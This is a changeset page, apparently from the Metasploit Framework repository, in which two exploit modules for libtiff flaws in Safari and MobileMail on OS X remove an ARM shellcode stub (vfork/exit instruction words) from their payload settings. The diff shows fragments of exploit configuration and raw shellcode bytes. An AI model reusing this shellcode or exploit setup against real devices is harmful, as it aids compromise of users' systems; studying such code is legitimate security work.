Changeset 5186

Show
Ignore:
Timestamp:
10/28/07 12:25:51 (1 year ago)
Author:
hdm
Message:

Remove the fork() prepend, since its now done properly in the shellcode

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/exploits/osx/browser/safari_libtiff.rb

    r5151 r5186  
    4343                                { 
    4444                                        'Space'    => 1800, 
    45                                         'BadChars' => "", 
    46                                          
    47                                         # Multi-threaded applications are not allowed to execve() on OS X 
    48                                         # This stub injects a vfork/exit in front of the payload 
    49                                         'Prepend'  => 
    50                                                 [ 
    51                                                         0xe3a0c042, # vfork 
    52                                                         0xef000080, # sc 
    53                                                         0xe3500000, # cmp r0, #0 
    54                                                         0x1a000001, # bne 
    55                                                         0xe3a0c001, # exit(0) 
    56                                                         0xef000080  # sc 
    57                                                 ].pack("V*") 
     45                                        'BadChars' => "" 
    5846                                }, 
    5947                        'Targets'        => 
  • framework3/trunk/modules/exploits/osx/email/mobilemail_libtiff.rb

    r5152 r5186  
    4949                                                        'ConnectionType' => '-bind -find', 
    5050                                                }, 
    51                                          
    52                                         # Multi-threaded applications are not allowed to execve() on OS X 
    53                                         # This stub injects a vfork/exit in front of the payload 
    54                                         'Prepend'  => 
    55                                                 [ 
    56                                                         0xe3a0c042, # vfork 
    57                                                         0xef000080, # sc 
    58                                                         0xe3500000, # cmp r0, #0 
    59                                                         0x1a000001, # bne 
    60                                                         0xe3a0c001, # exit(0) 
    61                                                         0xef000080  # sc 
    62                                                 ].pack("V*") 
    6351                                }, 
    6452                        'Targets'        =>